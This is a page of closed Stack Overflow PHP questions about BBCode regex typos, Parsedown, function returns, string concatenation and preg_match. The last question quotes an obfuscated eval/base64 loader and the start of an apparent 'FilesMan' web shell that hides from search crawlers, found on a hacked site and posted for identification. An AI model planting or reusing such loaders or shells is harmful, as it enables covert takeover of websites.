PHP String Replace for BBCode [closed] - php

Closed. This question is not reproducible or was caused by typos. It is not currently accepting answers.
This question was caused by a typo or a problem that can no longer be reproduced. While similar questions may be on-topic here, this one was resolved in a way less likely to help future readers.
Closed 7 years ago.
Improve this question
I want to make a custom BBCode for my forum site, but I've run into an issue, and I'm having a hard time fixing it.
This is what's in the database for the body of the thread "[b]Bold[/b][i]Italic[/i][strike]Strike[/strike]".
However the output is displayed like this "[i]Italic[/i][strike]Strike[/strike]".
So, I'm guessing it's an issue with echoing it out, but i'm not sure how to fix it. Here's the current code:
function bbcode($input) {
$input = strip_tags($input);
$input = htmlentities($input);
$search = array('/\[b\](.*?)\[\/b\]/is');
$replace = array('<b>$body</b>');
return preg_replace($search, $preg_replace, $input);
}
while($row = mysql_fetch_array($threadquery, MYSQL_ASSOC)) {
$body = str_replace("\n",'<br>', $row['body']);
}
echo bbcode($body);

proper code should be:
$replace = array('<b>$1</b>');
return preg_replace($search, $replace, $input);

Related

How can I parse markdown inside json [closed]

Closed. This question is not reproducible or was caused by typos. It is not currently accepting answers.
This question was caused by a typo or a problem that can no longer be reproduced. While similar questions may be on-topic here, this one was resolved in a way less likely to help future readers.
Closed 1 year ago.
Improve this question
I have a JSON like below format.
{
"title": "Title",
"content": "Content in **Markdown**"
}
Which could be queried if decoded as $json->title; and $json->content;,
I want to turn the content which is in Markdown to HTML,
I use Parsedown for this work.
<?php
include 'Parsedown.php';
$Parsedown = new Parsedown();
$file = file_get_contents('file.json');
$file = json_decode($file);
$Parsedown->text($file->content);
echo $file->content;
But still things appear not as expected.
If you are still not working then you are still not calling it correctly
$Parsedown = new Parsedown();
$file = file_get_contents('file.json');
$file = json_decode($file);
$file->content = $Parsedown->text($file->content);
echo $file->content;
The RESULT
<p>Content in <strong>Markdown</strong></p>

PHP Return Array from function [closed]

Closed. This question is not reproducible or was caused by typos. It is not currently accepting answers.
This question was caused by a typo or a problem that can no longer be reproduced. While similar questions may be on-topic here, this one was resolved in a way less likely to help future readers.
Closed 3 years ago.
Improve this question
I have a very simple web app that is capturing RFID tag reads and then submits it into the Database.
I have a function that was to pass the information through a filter and remove the duplicates and then return an array of unique tag reads.
The function looks like this
$txtarea = $_POST["rfid"];
rfid($txtarea);
function rfid($txtarea){
$array = explode("\r\n", $txtarea);
$rfid_array1 = array_unique($array);
return $rfid_array1;
}
I then use Print_r to check the contents of the array to make sure it works.
When I run the code inside the function I do not get a result returned but when I run the following outside the function
$txtarea = $_POST["rfid"];
rfid($txtarea);
$array = explode("\r\n", $txtarea);
$rfid_array1 = array_unique($array);
It returns the values correctly ?
I am very new to PHP so I apologize if this question seems a little basic.
The function rfid returns a value which you could capture in a variable.
$rfid_array1 = rfid($txtarea);
Note that you could shorten the function a bit:
function rfid($txtarea){
return array_unique(explode("\r\n", $txtarea));
}
Demo on https://3v4l.org/DY8Ts

how to add string to variable in php? [closed]

Closed. This question is not reproducible or was caused by typos. It is not currently accepting answers.
This question was caused by a typo or a problem that can no longer be reproduced. While similar questions may be on-topic here, this one was resolved in a way less likely to help future readers.
Closed 6 years ago.
Improve this question
i just need on small info i want just add '#' to one variable and and put add thing into one variable. i am adding small php code to here please suggest me.
<?php
$email34 = $row['email'];
$rem = '#gmail.com';
$trim_email = str_replace($rem ,'', $email34);
$tag_name ="#".$trim_emial.;
echo $tag_name;
?>
but i am getting only # as output;
but my out should be "#mahesh1" if any have idea about this code please help me. thank you advanced.
there is so much spelling mistakes in the variables... try below given code
<?php $email34 = $row['email'];
$rem = '#gmail.com';
$trim_email = str_replace($rem ,'', $email34);
$tag_name ="#".$trim_email;
echo $tag_name;
?>

Get String between to string preg_match [closed]

Closed. This question is not reproducible or was caused by typos. It is not currently accepting answers.
This question was caused by a typo or a problem that can no longer be reproduced. While similar questions may be on-topic here, this one was resolved in a way less likely to help future readers.
Closed 8 years ago.
Improve this question
i have this preg_match in php to get the url string between to string. but my problem is i can't get any data out of it
preg_match( "/\[(gmap)\](.*?)\[\/(gmap)\]/si", $content, $url)
i need to get the string inside of this string
[gmap]http://maps.google.com/maps/api/staticmap?zoom=15&size=325x125&maptype=roadmap&markers=color:purple|40.718217,-73.998284&sensor=false[/gmap]
but i can't get a result. why?
$url[2]
i need to have
http://maps.google.com/maps/api/staticmap?zoom=15&size=325x125&maptype=roadmap&markers=color:purple|40.718217,-73.998284&sensor=false
This works perfectly fine :
<?php
$url="";
$content = '[gmap]http://maps.google.com/maps/api/staticmap?zoom=15&size=325x125&maptype=roadmap&markers=color:purple|40.718217,-73.998284&sensor=false[/gmap]';
preg_match( "/\[(gmap)\](.*?)\[\/(gmap)\]/si", $content, $url);
print $url[2];
?>
Cheers!
It's possible that you got an issue because the .* also includes the [ character.
You could use this instead :
preg_match("/\[(gmap)\]([^\[]*)?\[\/(gmap)\]/si", $content, $url);

What does this malicious PHP do? [closed]

Closed. This question is not reproducible or was caused by typos. It is not currently accepting answers.
This question was caused by a typo or a problem that can no longer be reproduced. While similar questions may be on-topic here, this one was resolved in a way less likely to help future readers.
Closed 8 years ago.
Improve this question
My site was hacked and I found on it the
<?php
echo eval(base64_decode(str_replace('*','a',str_replace('%','B',str_replace('~','F',str_replace('_','z',str_replace('$','x',str_replace('#','d',str_replace('^','3','SOMEVERYLONGTEXT')))))))));
if I decode base64 without executing, I got some script, starting with:
$__authentication_pass = "52b1d005abc139cc281a32d8aa7cd1c2";
$color = "#df5";
$__default__action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
#ini_set('error_log', NULL);
.... and many lines below ....
I this file manager? Can it be identified somehow (name, author and so on)?

Categories